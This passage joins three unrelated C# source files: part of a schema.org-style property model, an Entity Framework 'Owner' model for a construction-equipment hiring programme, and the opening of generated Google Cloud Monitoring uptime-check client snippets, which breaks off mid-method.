format</a>). /// </summary> private CurrenciesAccepted_Core currenciesAccepted; public CurrenciesAccepted_Core CurrenciesAccepted { get { return currenciesAccepted; } set { currenciesAccepted = value; SetPropertyInstance(currenciesAccepted); } } /// <summary> /// A short description of the item. /// </summary> private Description_Core description; public Description_Core Description { get { return description; } set { description = value; SetPropertyInstance(description); } } /// <summary> /// Email address. /// </summary> private Email_Core email; public Email_Core Email { get { return email; } set { email = value; SetPropertyInstance(email); } } /// <summary> /// People working for this organization. /// </summary> private Employees_Core employees; public Employees_Core Employees { get { return employees; } set { employees = value; SetPropertyInstance(employees); } } /// <summary> /// Upcoming or past events associated with this place or organization. /// </summary> private Events_Core events; public Events_Core Events { get { return events; } set { events = value; SetPropertyInstance(events); } } /// <summary> /// The fax number. /// </summary> private FaxNumber_Core faxNumber; public FaxNumber_Core FaxNumber { get { return faxNumber; } set { faxNumber = value; SetPropertyInstance(faxNumber); } } /// <summary> /// A person who founded this organization. /// </summary> private Founders_Core founders; public Founders_Core Founders { get { return founders; } set { founders = value; SetPropertyInstance(founders); } } /// <summary> /// The date that this organization was founded. /// </summary> private FoundingDate_Core foundingDate; public FoundingDate_Core FoundingDate { get { return foundingDate; } set { foundingDate = value; SetPropertyInstance(foundingDate); } } /// <summary> /// The geo coordinates of the place. /// </summary> private Geo_Core geo; public Geo_Core Geo { get { return geo; } set { geo = value; SetPropertyInstance(geo); } } /// <summary> /// URL of an image of the item. /// </summary> private Image_Core image; public Image_Core Image { get { return image; } set { image = value; SetPropertyInstance(image); } } /// <summary> /// A count of a specific user interactions with this item\u2014for example, <code>20 UserLikes</code>, <code>5 UserComments</code>, or <code>300 UserDownloads</code>. The user interaction type should be one of the sub types of <a href=\http://schema.org/UserInteraction\>UserInteraction</a>. /// </summary> private InteractionCount_Core interactionCount; public InteractionCount_Core InteractionCount { get { return interactionCount; } set { interactionCount = value; SetPropertyInstance(interactionCount); } } /// <summary> /// The location of the event or organization. /// </summary> private Location_Core location; public Location_Core Location { get { return location; } set { location = value; SetPropertyInstance(location); } } /// <summary> /// A URL to a map of the place. /// </summary> private Maps_Core maps; public Maps_Core Maps { get { return maps; } set { maps = value; SetPropertyInstance(maps); } } /// <summary> /// A member of this organization. /// </summary> private Members_Core members; public Members_Core Members { get { return members; } set { members = value; SetPropertyInstance(members); } } /// <summary> /// The name of the item. /// </summary> private Name_Core name; public Name_Core Name { get { return name; } set { name = value; SetPropertyInstance(name); } } /// <summary> /// The opening hours for a business. Opening hours can be specified as a weekly time range, starting with days, then times per day. Multiple days can be listed with commas ',' separating each day. Day or time ranges are specified using a hyphen '-'.<br/>- Days are specified using the following two-letter combinations: <code>Mo</code>, <code>Tu</code>, <code>We</code>, <code>Th</code>, <code>Fr</code>, <code>Sa</code>, <code>Su</code>.<br/>- Times are specified using 24:00 time. For example, 3pm is specified as <code>15:00</code>. <br/>- Here is an example: <code>&lt;time itemprop=\openingHours\ datetime=\Tu,Th 16:00-20:00\&gt;Tuesdays and Thursdays 4-8pm&lt;/time&gt;</code>. <br/>- If a business is open 7 days a week, then it can be specified as <code>&lt;time itemprop=\openingHours\ datetime=\Mo-Su\&gt;Monday through Sunday, all day&lt;/time&gt;</code>. /// </summary> private OpeningHours_Core openingHours; public OpeningHours_Core OpeningHours { get { return openingHours; } set { openingHours = value; SetPropertyInstance(openingHours); } } /// <summary> /// Cash, credit card, etc. /// </summary> private PaymentAccepted_Core paymentAccepted; public PaymentAccepted_Core PaymentAccepted { get { return paymentAccepted; } set { paymentAccepted = value; SetPropertyInstance(paymentAccepted); } } /// <summary> /// Photographs of this place. /// </summary> private Photos_Core photos; public Photos_Core Photos { get { return photos; } set { photos = value; SetPropertyInstance(photos); } } /// <summary> /// The price range of the business, for example <code>$$$</code>. /// </summary> private PriceRange_Core priceRange; public PriceRange_Core PriceRange { get { return priceRange; } set { priceRange = value; SetPropertyInstance(priceRange); } } /// <summary> /// Review of the item. /// </summary> private Reviews_Core reviews; public Reviews_Core Reviews { get { return reviews; } set { reviews = value; SetPropertyInstance(reviews); } } /// <summary> /// The telephone number. /// </summary> private Telephone_Core telephone; public Telephone_Core Telephone { get { return telephone; } set { telephone = value; SetPropertyInstance(telephone); } } /// <summary> /// URL of the item. /// </summary> private Properties.URL_Core uRL; public Properties.URL_Core URL { get { return uRL; } set { uRL = value; SetPropertyInstance(uRL); } } } }
using System; using System.Linq; using System.Text; using System.Collections.Generic; using Newtonsoft.Json; using System.ComponentModel.DataAnnotations.Schema; using System.ComponentModel.DataAnnotations; namespace HETSAPI.Models { /// <summary> /// Owner Database Model /// </summary> [MetaData (Description = "The person or company to which a piece of construction equipment belongs.")] public sealed class Owner : AuditableEntity, IEquatable<Owner> { /// <summary> /// Owner Database Model Constructor (required by entity framework) /// </summary> public Owner() { Id = 0; } /// <summary> /// Initializes a new instance of the <see cref="Owner" /> class. /// </summary> /// <param name="id">A system-generated unique identifier for a Owner (required).</param> /// <param name="ownerCode">A unique prefix in the system that is used to generate the human-friendly IDs of the equipment. E.g. An owner Edwards might have a prefix &amp;quot;EDW&amp;quot; and their equipment numbered sequentially with that prefix - e.g. EDW-0082. (required).</param> /// <param name="organizationName">The name of the organization of the Owner. May simply be the First Name, Last Name of the Owner if the Owner is a sole proprietorship, or the name of a company. (required).</param> /// <param name="meetsResidency">True to indicate that the owner of the business has confirmed to the HETS Clerk that they meet the residency requirements of the HETS programme. See the published information about the MOTI HETS programme for information on the owner residency requirements. (required).</param> /// <param name="localArea">LocalArea (required).</param> /// <param name="status">The status of the owner record in the system. Current set of values are &amp;quot;Pending&amp;quot;, &amp;quot;Approved&amp;quot; and &amp;quot;Archived&amp;quot;. Pending is used when an owner self-registers and a HETS Clerk has not reviewed and Approved the record. Archived is when the owner is no longer part of the HETS programme. &amp;quot;Approved&amp;quot; is used in all other cases. (required).</param> /// <param name="statusComment">A comment field to capture information specific to the change of status.</param> /// <param name="doingBusinessAs">An official (per BC Registries) alternate name for an Owner organization under which it does business. The application does not verify the name against any registry&amp;#x2F;lookup.</param> /// <param name="registeredCompanyNumber">The BC Registries number under which the business is registered. The application does not verify the number against any registry&amp;#x2F;lookup.</param> /// <param name="primaryContact">Link to the designated Primary Contact.</param> /// <param name="isMaintenanceContractor">True if the owner is contracted by MOTI to handle Maintenance activities in the area - e.g. provided services in address unscheduled issues on the roads in the area.</param> /// <param name="workSafeBcPolicyNumber">The Owner&amp;#39;s WorkSafeBC (aka WCB) Insurance Policy Number.</param> /// <param name="workSafeBcExpiryDate">The expiration of the owner&amp;#39;s current WorkSafeBC (aka WCB) permit.</param> /// <param name="givenName">The given name of the contact.</param> /// <param name="surname">The surname of the contact.</param> /// <param name="address1">Address 1 line of the address.</param> /// <param name="address2">Address 2 line of the address.</param> /// <param name="city">The City of the address.</param> /// <param name="province">The Province of the address.</param> /// <param name="postalCode">The postal code of the address.</param> /// <param name="cglEndDate">The end date of the owner&amp;#39;s Commercial General Liability insurance coverage. Coverage is only needed prior to an owner&amp;#39;s piece of equipment starting a rental period (not when in the HETS program but not hired). The details of the coverage can be entered into a Note, or more often - attached as a scanned&amp;#x2F;faxed document.</param> /// <param name="cglPolicyNumber">The owner&amp;#39;s Commercial General Liability Policy Number</param> /// <param name="archiveCode">TO BE REVIEWED WITH THE BUSINESS - IS THIS NEEDED -A coded reason for why an owner record has been moved to Archived.</param> /// <param name="archiveReason">A text note about why the owner record has been changed to Archived.</param> /// <param name="archiveDate">The date the Owner record was changed to Archived and removed from active use in the system.</param> /// <param name="contacts">Contacts.</param> /// <param name="notes">Notes.</param> /// <param name="attachments">Attachments.</param> /// <param name="history">History.</param> /// <param name="equipmentList">EquipmentList.</param> public Owner(int id, string ownerCode, string organizationName, bool meetsResidency, LocalArea localArea, string status, string statusComment = null, string doingBusinessAs = null, string registeredCompanyNumber = null, Contact primaryContact = null, bool? isMaintenanceContractor = null, string workSafeBcPolicyNumber = null, DateTime? workSafeBcExpiryDate = null, string givenName = null, string surname = null, string address1 = null, string address2 = null, string city = null, string province = null, string postalCode = null, DateTime? cglEndDate = null, string cglPolicyNumber = null, string archiveCode = null, string archiveReason = null, DateTime? archiveDate = null, List<Contact> contacts = null, List<Note> notes = null, List<Attachment> attachments = null, List<History> history = null, List<Equipment> equipmentList = null) { Id = id; OwnerCode = ownerCode; OrganizationName = organizationName; MeetsResidency = meetsResidency; LocalArea = localArea; Status = status; StatusComment = statusComment; DoingBusinessAs = doingBusinessAs; RegisteredCompanyNumber = registeredCompanyNumber; PrimaryContact = primaryContact; IsMaintenanceContractor = isMaintenanceContractor; WorkSafeBCPolicyNumber = workSafeBcPolicyNumber; WorkSafeBCExpiryDate = workSafeBcExpiryDate; GivenName = givenName; Surname = surname; Address1 = address1; Address2 = address2; City = city; Province = province; PostalCode = postalCode; CGLEndDate = cglEndDate; CglPolicyNumber = cglPolicyNumber; ArchiveCode = archiveCode; ArchiveReason = archiveReason; ArchiveDate = archiveDate; Contacts = contacts; Notes = notes; Attachments = attachments; History = history; EquipmentList = equipmentList; } #region Owner Verification Pdf Usage Only /// <summary> /// Pdf Report Date /// </summary> [NotMapped] public string ReportDate { get; set; } /// <summary> /// Pdf Document Title /// </summary> [NotMapped] public string Title { get; set; } /// <summary> /// Gets or Sets the District Id /// </summary> [NotMapped] public int DistrictId { get; set; } /// <summary> /// Gets or Sets the Ministry District Id /// </summary> [NotMapped] public int MinistryDistrictId { get; set; } /// <summary> /// Gets or Sets the District Name /// </summary> [NotMapped] public string DistrictName { get; set; } /// <summary> /// Gets or Sets the District Address String /// </summary> [NotMapped] public string DistrictAddress { get; set; } /// <summary> /// Gets or Sets the District Contact (phone) String /// </summary> [NotMapped] public string DistrictContact { get; set; } #endregion /// <summary> /// A system-generated unique identifier for a Owner /// </summary> /// <value>A system-generated unique identifier for a Owner</value> [MetaData (Description = "A system-generated unique identifier for a Owner")] public int Id { get; set; } /// <summary> /// A unique prefix in the system that is used to generate the human-friendly IDs of the equipment. E.g. An owner Edwards might have a prefix &quot;EDW&quot; and their equipment numbered sequentially with that prefix - e.g. EDW-0082. /// </summary> /// <value>A unique prefix in the system that is used to generate the human-friendly IDs of the equipment. E.g. An owner Edwards might have a prefix &quot;EDW&quot; and their equipment numbered sequentially with that prefix - e.g. EDW-0082.</value> [MetaData (Description = "A unique prefix in the system that is used to generate the human-friendly IDs of the equipment. E.g. An owner Edwards might have a prefix &quot;EDW&quot; and their equipment numbered sequentially with that prefix - e.g. EDW-0082.")] [MaxLength(20)] public string OwnerCode { get; set; } /// <summary> /// The name of the organization of the Owner. May simply be the First Name, Last Name of the Owner if the Owner is a sole proprietorship, or the name of a company. /// </summary> /// <value>The name of the organization of the Owner. May simply be the First Name, Last Name of the Owner if the Owner is a sole proprietorship, or the name of a company.</value> [MetaData (Description = "The name of the organization of the Owner. May simply be the First Name, Last Name of the Owner if the Owner is a sole proprietorship, or the name of a company.")] [MaxLength(150)] public string OrganizationName { get; set; } /// <summary> /// True to indicate that the owner of the business has confirmed to the HETS Clerk that they meet the residency requirements of the HETS programme. See the published information about the MOTI HETS programme for information on the owner residency requirements. /// </summary> /// <value>True to indicate that the owner of the business has confirmed to the HETS Clerk that they meet the residency requirements of the HETS programme. See the published information about the MOTI HETS programme for information on the owner residency requirements.</value> [MetaData (Description = "True to indicate that the owner of the business has confirmed to the HETS Clerk that they meet the residency requirements of the HETS programme. See the published information about the MOTI HETS programme for information on the owner residency requirements.")] public bool MeetsResidency { get; set; } /// <summary> /// Gets or Sets LocalArea /// </summary> public LocalArea LocalArea { get; set; } /// <summary> /// Foreign key for LocalArea /// </summary> [ForeignKey("LocalArea")] [JsonIgnore] public int? LocalAreaId { get; set; } /// <summary> /// The status of the owner record in the system. Current set of values are &quot;Pending&quot;, &quot;Approved&quot; and &quot;Archived&quot;. Pending is used when an owner self-registers and a HETS Clerk has not reviewed and Approved the record. Archived is when the owner is no longer part of the HETS programme. &quot;Approved&quot; is used in all other cases. /// </summary> /// <value>The status of the owner record in the system. Current set of values are &quot;Pending&quot;, &quot;Approved&quot; and &quot;Archived&quot;. Pending is used when an owner self-registers and a HETS Clerk has not reviewed and Approved the record. Archived is when the owner is no longer part of the HETS programme. &quot;Approved&quot; is used in all other cases.</value> [MetaData (Description = "The status of the owner record in the system. Current set of values are &quot;Pending&quot;, &quot;Approved&quot; and &quot;Archived&quot;. Pending is used when an owner self-registers and a HETS Clerk has not reviewed and Approved the record. Archived is when the owner is no longer part of the HETS programme. &quot;Approved&quot; is used in all other cases.")] [MaxLength(50)] public string Status { get; set; } /// <summary> /// A comment field to capture information specific to the change of status. /// </summary> /// <value>A comment field to capture information specific to the change of status.</value> [MetaData(Description = "A comment field to capture information specific to the change of status.")] [MaxLength(255)] public string StatusComment { get; set; } /// <summary> /// An official (per BC Registries) alternate name for an Owner organization under which it does business. The application does not verify the name against any registry&#x2F;lookup. /// </summary> /// <value>An official (per BC Registries) alternate name for an Owner organization under which it does business. The application does not verify the name against any registry&#x2F;lookup.</value> [MetaData (Description = "An official (per BC Registries) alternate name for an Owner organization under which it does business. The application does not verify the name against any registry&#x2F;lookup.")] [MaxLength(150)] public string DoingBusinessAs { get; set; } /// <summary> /// The BC Registries number under which the business is registered. The application does not verify the number against any registry&#x2F;lookup. /// </summary> /// <value>The BC Registries number under which the business is registered. The application does not verify the number against any registry&#x2F;lookup.</value> [MetaData (Description = "The BC Registries number under which the business is registered. The application does not verify the number against any registry&#x2F;lookup.")] [MaxLength(150)] public string RegisteredCompanyNumber { get; set; } /// <summary> /// Link to the designated Primary Contact. /// </summary> /// <value>Link to the designated Primary Contact.</value> [MetaData (Description = "Link to the designated Primary Contact.")] public Contact PrimaryContact { get; set; } /// <summary> /// Foreign key for PrimaryContact /// </summary> [ForeignKey("PrimaryContact")] [JsonIgnore] [MetaData (Description = "Link to the designated Primary Contact.")] public int? PrimaryContactId { get; set; } /// <summary> /// True if the owner is contracted by MOTI to handle Maintenance activities in the area - e.g. provided services in address unscheduled issues on the roads in the area. /// </summary> /// <value>True if the owner is contracted by MOTI to handle Maintenance activities in the area - e.g. provided services in address unscheduled issues on the roads in the area.</value> [MetaData (Description = "True if the owner is contracted by MOTI to handle Maintenance activities in the area - e.g. provided services in address unscheduled issues on the roads in the area.")] public bool? IsMaintenanceContractor { get; set; } /// <summary> /// The Owner&#39;s WorkSafeBC (aka WCB) Insurance Policy Number. /// </summary> /// <value>The Owner&#39;s WorkSafeBC (aka WCB) Insurance Policy Number.</value> [MetaData (Description = "The Owner&#39;s WorkSafeBC (aka WCB) Insurance Policy Number.")] [MaxLength(50)] public string WorkSafeBCPolicyNumber { get; set; } /// <summary> /// The expiration of the owner&#39;s current WorkSafeBC (aka WCB) permit. /// </summary> /// <value>The expiration of the owner&#39;s current WorkSafeBC (aka WCB) permit.</value> [MetaData (Description = "The expiration of the owner&#39;s current WorkSafeBC (aka WCB) permit.")] public DateTime? WorkSafeBCExpiryDate { get; set; } /// <summary> /// The given name of the contact. /// </summary> /// <value>The given name of the contact.</value> [MetaData(Description = "The given name of the contact.")] [MaxLength(50)] public string GivenName { get; set; } /// <summary> /// The surname of the contact. /// </summary> /// <value>The surname of the contact.</value> [MetaData(Description = "The surname of the contact.")] [MaxLength(50)] public string Surname { get; set; } /// <summary> /// Address 1 line of the address. /// </summary> /// <value>Address 1 line of the address.</value> [MetaData(Description = "Address 1 line of the address.")] [MaxLength(80)] public string Address1 { get; set; } /// <summary> /// Address 2 line of the address. /// </summary> /// <value>Address 2 line of the address.</value> [MetaData(Description = "Address 2 line of the address.")] [MaxLength(80)] public string Address2 { get; set; } /// <summary> /// The City of the address. /// </summary> /// <value>The City of the address.</value> [MetaData(Description = "The City of the address.")] [MaxLength(100)] public string City { get; set; } /// <summary> /// The Province of the address. /// </summary> /// <value>The Province of the address.</value> [MetaData(Description = "The Province of the address.")] [MaxLength(50)] public string Province { get; set; } /// <summary> /// The postal code of the address. /// </summary> /// <value>The postal code of the address.</value> [MetaData(Description = "The postal code of the address.")] [MaxLength(15)] public string PostalCode { get; set; } /// <summary> /// The end date of the owner&#39;s Commercial General Liability insurance coverage. Coverage is only needed prior to an owner&#39;s piece of equipment starting a rental period (not when in the HETS program but not hired). The details of the coverage can be entered into a Note, or more often - attached as a scanned&#x2F;faxed document. /// </summary> /// <value>The end date of the owner&#39;s Commercial General Liability insurance coverage. Coverage is only needed prior to an owner&#39;s piece of equipment starting a rental period (not when in the HETS program but not hired). The details of the coverage can be entered into a Note, or more often - attached as a scanned&#x2F;faxed document.</value> [MetaData (Description = "The end date of the owner&#39;s Commercial General Liability insurance coverage. Coverage is only needed prior to an owner&#39;s piece of equipment starting a rental period (not when in the HETS program but not hired). The details of the coverage can be entered into a Note, or more often - attached as a scanned&#x2F;faxed document.")] public DateTime? CGLEndDate { get; set; } /// <summary> /// The owner&amp;#39;s Commercial General Liability Policy Number /// </summary> /// <value>The owner&amp;#39;s Commercial General Liability Policy Number</value> [MetaData(Description = "The owner&amp;#39;s Commercial General Liability Policy Number")] [MaxLength(50)] public string CglPolicyNumber { get; set; } /// <summary> /// TO BE REVIEWED WITH THE BUSINESS - IS THIS NEEDED -A coded reason for why an owner record has been moved to Archived. /// </summary> /// <value>TO BE REVIEWED WITH THE BUSINESS - IS THIS NEEDED -A coded reason for why an owner record has been moved to Archived.</value> [MetaData (Description = "TO BE REVIEWED WITH THE BUSINESS - IS THIS NEEDED -A coded reason for why an owner record has been moved to Archived.")] [MaxLength(50)] public string ArchiveCode { get; set; } /// <summary> /// A text note about why the owner record has been changed to Archived. /// </summary> /// <value>A text note about why the owner record has been changed to Archived.</value> [MetaData (Description = "A text note about why the owner record has been changed to Archived.")] [MaxLength(2048)] public string ArchiveReason { get; set; } /// <summary> /// The date the Owner record was changed to Archived and removed from active use in the system. /// </summary> /// <value>The date the Owner record was changed to Archived and removed from active use in the system.</value> [MetaData (Description = "The date the Owner record was changed to Archived and removed from active use in the system.")] public DateTime? ArchiveDate { get; set; } /// <summary> /// Gets or Sets Contacts /// </summary> public List<Contact> Contacts { get; set; } /// <summary> /// Gets or Sets Notes /// </summary> public List<Note> Notes { get; set; } /// <summary> /// Gets or Sets Attachments /// </summary> public List<Attachment> Attachments { get; set; } /// <summary> /// Gets or Sets History /// </summary> public List<History> History { get; set; } /// <summary> /// Gets or Sets EquipmentList /// </summary> public List<Equipment> EquipmentList { get; set; } /// <summary> /// Returns the string presentation of the object /// </summary> /// <returns>String presentation of the object</returns> public override string ToString() { var sb = new StringBuilder(); sb.Append("class Owner {\n"); sb.Append(" Id: ").Append(Id).Append("\n"); sb.Append(" OwnerCode: ").Append(OwnerCode).Append("\n"); sb.Append(" OrganizationName: ").Append(OrganizationName).Append("\n"); sb.Append(" MeetsResidency: ").Append(MeetsResidency).Append("\n"); sb.Append(" LocalArea: ").Append(LocalArea).Append("\n"); sb.Append(" Status: ").Append(Status).Append("\n"); sb.Append(" StatusComment: ").Append(StatusComment).Append("\n"); sb.Append(" DoingBusinessAs: ").Append(DoingBusinessAs).Append("\n"); sb.Append(" RegisteredCompanyNumber: ").Append(RegisteredCompanyNumber).Append("\n"); sb.Append(" PrimaryContact: ").Append(PrimaryContact).Append("\n"); sb.Append(" IsMaintenanceContractor: ").Append(IsMaintenanceContractor).Append("\n"); sb.Append(" WorkSafeBCPolicyNumber: ").Append(WorkSafeBCPolicyNumber).Append("\n"); sb.Append(" WorkSafeBCExpiryDate: ").Append(WorkSafeBCExpiryDate).Append("\n"); sb.Append(" GivenName: ").Append(GivenName).Append("\n"); sb.Append(" Surname: ").Append(Surname).Append("\n"); sb.Append(" Address1: ").Append(Address1).Append("\n"); sb.Append(" Address2: ").Append(Address2).Append("\n"); sb.Append(" City: ").Append(City).Append("\n"); sb.Append(" Province: ").Append(Province).Append("\n"); sb.Append(" PostalCode: ").Append(PostalCode).Append("\n"); sb.Append(" CGLEndDate: ").Append(CGLEndDate).Append("\n"); sb.Append(" CglPolicyNumber: ").Append(CglPolicyNumber).Append("\n"); sb.Append(" ArchiveCode: ").Append(ArchiveCode).Append("\n"); sb.Append(" ArchiveReason: ").Append(ArchiveReason).Append("\n"); sb.Append(" ArchiveDate: ").Append(ArchiveDate).Append("\n"); sb.Append(" Contacts: ").Append(Contacts).Append("\n"); sb.Append(" Notes: ").Append(Notes).Append("\n"); sb.Append(" Attachments: ").Append(Attachments).Append("\n"); sb.Append(" History: ").Append(History).Append("\n"); sb.Append(" EquipmentList: ").Append(EquipmentList).Append("\n"); sb.Append("}\n"); return sb.ToString(); } /// <summary> /// Returns the JSON string presentation of the object /// </summary> /// <returns>JSON string presentation of the object</returns> public string ToJson() { return JsonConvert.SerializeObject(this, Formatting.Indented); } /// <summary> /// Returns true if objects are equal /// </summary> /// <param name="obj">Object to be compared</param> /// <returns>Boolean</returns> public override bool Equals(object obj) { if (obj is null) { return false; } if (ReferenceEquals(this, obj)) { return true; } return obj.GetType() == GetType() && Equals((Owner)obj); } /// <summary> /// Returns true if Owner instances are equal /// </summary> /// <param name="other">Instance of Owner to be compared</param> /// <returns>Boolean</returns> public bool Equals(Owner other) { if (other is null) { return false; } if (ReferenceEquals(this, other)) { return true; } return ( Id == other.Id || Id.Equals(other.Id) ) && ( OwnerCode == other.OwnerCode || OwnerCode != null && OwnerCode.Equals(other.OwnerCode) ) && ( OrganizationName == other.OrganizationName || OrganizationName != null && OrganizationName.Equals(other.OrganizationName) ) && ( MeetsResidency == other.MeetsResidency || MeetsResidency.Equals(other.MeetsResidency) ) && ( LocalArea == other.LocalArea || LocalArea != null && LocalArea.Equals(other.LocalArea) ) && ( Status == other.Status || Status != null && Status.Equals(other.Status) ) && ( StatusComment == other.StatusComment || StatusComment != null && StatusComment.Equals(other.StatusComment) ) && ( DoingBusinessAs == other.DoingBusinessAs || DoingBusinessAs != null && DoingBusinessAs.Equals(other.DoingBusinessAs) ) && ( RegisteredCompanyNumber == other.RegisteredCompanyNumber || RegisteredCompanyNumber != null && RegisteredCompanyNumber.Equals(other.RegisteredCompanyNumber) ) && ( PrimaryContact == other.PrimaryContact || PrimaryContact != null && PrimaryContact.Equals(other.PrimaryContact) ) && ( IsMaintenanceContractor == other.IsMaintenanceContractor || IsMaintenanceContractor != null && IsMaintenanceContractor.Equals(other.IsMaintenanceContractor) ) && ( WorkSafeBCPolicyNumber == other.WorkSafeBCPolicyNumber || WorkSafeBCPolicyNumber != null && WorkSafeBCPolicyNumber.Equals(other.WorkSafeBCPolicyNumber) ) && ( WorkSafeBCExpiryDate == other.WorkSafeBCExpiryDate || WorkSafeBCExpiryDate != null && WorkSafeBCExpiryDate.Equals(other.WorkSafeBCExpiryDate) ) && ( GivenName == other.GivenName || GivenName != null && GivenName.Equals(other.GivenName) ) && ( Surname == other.Surname || Surname != null && Surname.Equals(other.Surname) ) && ( Address1 == other.Address1 || Address1 != null && Address1.Equals(other.Address1) ) && ( Address2 == other.Address2 || Address2 != null && Address2.Equals(other.Address2) ) && ( City == other.City || City != null && City.Equals(other.City) ) && ( Province == other.Province || Province != null && Province.Equals(other.Province) ) && ( PostalCode == other.PostalCode || PostalCode != null && PostalCode.Equals(other.PostalCode) ) && ( CGLEndDate == other.CGLEndDate || CGLEndDate != null && CGLEndDate.Equals(other.CGLEndDate) ) && ( CglPolicyNumber == other.CglPolicyNumber || CglPolicyNumber != null && CglPolicyNumber.Equals(other.CglPolicyNumber) ) && ( ArchiveCode == other.ArchiveCode || ArchiveCode != null && ArchiveCode.Equals(other.ArchiveCode) ) && ( ArchiveReason == other.ArchiveReason || ArchiveReason != null && ArchiveReason.Equals(other.ArchiveReason) ) && ( ArchiveDate == other.ArchiveDate || ArchiveDate != null && ArchiveDate.Equals(other.ArchiveDate) ) && ( Contacts == other.Contacts || Contacts != null && Contacts.SequenceEqual(other.Contacts) ) && ( Notes == other.Notes || Notes != null && Notes.SequenceEqual(other.Notes) ) && ( Attachments == other.Attachments || Attachments != null && Attachments.SequenceEqual(other.Attachments) ) && ( History == other.History || History != null && History.SequenceEqual(other.History) ) && ( EquipmentList == other.EquipmentList || EquipmentList != null && EquipmentList.SequenceEqual(other.EquipmentList) ); } /// <summary> /// Gets the hash code /// </summary> /// <returns>Hash code</returns> public override int GetHashCode() { // credit: http://stackoverflow.com/a/263416/677735 unchecked // Overflow is fine, just wrap { int hash = 41; // Suitable nullity checks hash = hash * 59 + Id.GetHashCode(); if (OwnerCode != null) { hash = hash * 59 + OwnerCode.GetHashCode(); } if (OrganizationName != null) { hash = hash * 59 + OrganizationName.GetHashCode(); } hash = hash * 59 + MeetsResidency.GetHashCode(); if (LocalArea != null) { hash = hash * 59 + LocalArea.GetHashCode(); } if (Status != null) { hash = hash * 59 + Status.GetHashCode(); } if (StatusComment != null) { hash = hash * 59 + StatusComment.GetHashCode(); } if (DoingBusinessAs != null) { hash = hash * 59 + DoingBusinessAs.GetHashCode(); } if (RegisteredCompanyNumber != null) { hash = hash * 59 + RegisteredCompanyNumber.GetHashCode(); } if (PrimaryContact != null) { hash = hash * 59 + PrimaryContact.GetHashCode(); } if (IsMaintenanceContractor != null) { hash = hash * 59 + IsMaintenanceContractor.GetHashCode(); } if (WorkSafeBCPolicyNumber != null) { hash = hash * 59 + WorkSafeBCPolicyNumber.GetHashCode(); } if (WorkSafeBCExpiryDate != null) { hash = hash * 59 + WorkSafeBCExpiryDate.GetHashCode(); } if (GivenName != null) { hash = hash * 59 + GivenName.GetHashCode(); } if (Surname != null) { hash = hash * 59 + Surname.GetHashCode(); } if (Address1 != null) { hash = hash * 59 + Address1.GetHashCode(); } if (Address2 != null) { hash = hash * 59 + Address2.GetHashCode(); } if (City != null) { hash = hash * 59 + City.GetHashCode(); } if (Province != null) { hash = hash * 59 + Province.GetHashCode(); } if (PostalCode != null) { hash = hash * 59 + PostalCode.GetHashCode(); } if (CGLEndDate != null) { hash = hash * 59 + CGLEndDate.GetHashCode(); } if (CglPolicyNumber != null) { hash = hash * 59 + CglPolicyNumber.GetHashCode(); } if (ArchiveCode != null) { hash = hash * 59 + ArchiveCode.GetHashCode(); } if (ArchiveReason != null) { hash = hash * 59 + ArchiveReason.GetHashCode(); } if (ArchiveDate != null) { hash = hash * 59 + ArchiveDate.GetHashCode(); } if (Contacts != null) { hash = hash * 59 + Contacts.GetHashCode(); } if (Notes != null) { hash = hash * 59 + Notes.GetHashCode(); } if (Attachments != null) { hash = hash * 59 + Attachments.GetHashCode(); } if (History != null) { hash = hash * 59 + History.GetHashCode(); } if (EquipmentList != null) { hash = hash * 59 + EquipmentList.GetHashCode(); } return hash; } } #region Operators /// <summary> /// Equals /// </summary> /// <param name="left"></param> /// <param name="right"></param> /// <returns></returns> public static bool operator ==(Owner left, Owner right) { return Equals(left, right); } /// <summary> /// Not Equals /// </summary> /// <param name="left"></param> /// <param name="right"></param> /// <returns></returns> public static bool operator !=(Owner left, Owner right) { return !Equals(left, right); } #endregion Operators } }
// Copyright 2018 Google LLC // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // https://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Generated code. DO NOT EDIT! namespace Google.Cloud.Monitoring.V3.Snippets { using Google.Api.Gax; using Google.Api.Gax.Grpc; using apis = Google.Cloud.Monitoring.V3; using Google.Protobuf; using Google.Protobuf.WellKnownTypes; using Grpc.Core; using System; using System.Collections; using System.Collections.Generic; using System.Collections.ObjectModel; using System.Linq; using System.Threading; using System.Threading.Tasks; /// <summary>Generated snippets</summary> public class GeneratedUptimeCheckServiceClientSnippets { /// <summary>Snippet for ListUptimeCheckConfigsAsync</summary> public async Task ListUptimeCheckConfigsAsync() { // Snippet: ListUptimeCheckConfigsAsync(string,string,int?,CallSettings) // Create client UptimeCheckServiceClient uptimeCheckServiceClient = await UptimeCheckServiceClient.CreateAsync(); // Initialize request argument(s) string formattedParent = new ProjectName("[PROJECT]").ToString(); // Make the request PagedAsyncEnumerable<ListUptimeCheckConfigsResponse, UptimeCheckConfig> response = uptimeCheckServiceClient.ListUptimeCheckConfigsAsync(formattedParent); // Iterate over all response items, lazily performing RPCs as required await response.ForEachAsync((UptimeCheckConfig item) => { // Do something with each item Console.WriteLine(item); }); // Or iterate over pages (of server-defined size), performing one RPC per page await response.AsRawResponses().ForEachAsync((ListUptimeCheckConfigsResponse page) => { // Do something with each page of items Console.WriteLine("A page of results:"); foreach (UptimeCheckConfig item in page) { Console.WriteLine(item); } }); // Or retrieve a single page of known size (unless it's the final page), performing as many RPCs as required int pageSize = 10; Page<UptimeCheckConfig> singlePage = await response.ReadPageAsync(pageSize); // Do something with the page of items Console.WriteLine($"A page of {pageSize} results (unless it's the final page):"); foreach (UptimeCheckConfig item in singlePage) { Console.WriteLine(item); } // Store the pageToken, for when the next page is required. string nextPageToken = singlePage.NextPageToken; // End snippet } /// <summary>Snippet for ListUptimeCheckConfigs</summary> public void ListUptimeCheckConfigs() { // Snippet: ListUptimeCheckConfigs(string,string,int?,CallSettings) // Create client UptimeCheckServiceClient uptimeCheckServiceClient = UptimeCheckServiceClient.Create(); // Initialize request argument(s) string formattedParent = new ProjectName("[PROJECT]").ToString(); // Make the request PagedEnumerable<ListUptimeCheckConfigsResponse, UptimeCheckConfig> response = uptimeCheckServiceClient.ListUptimeCheckConfigs(formattedParent); // Iterate over all response items, lazily performing RPCs as required foreach (UptimeCheckConfig item in response) { // Do something with each item Console.WriteLine(item); } // Or iterate over pages (of server-defined size), performing one RPC per page foreach (ListUptimeCheckConfigsResponse page in response.AsRawResponses()) 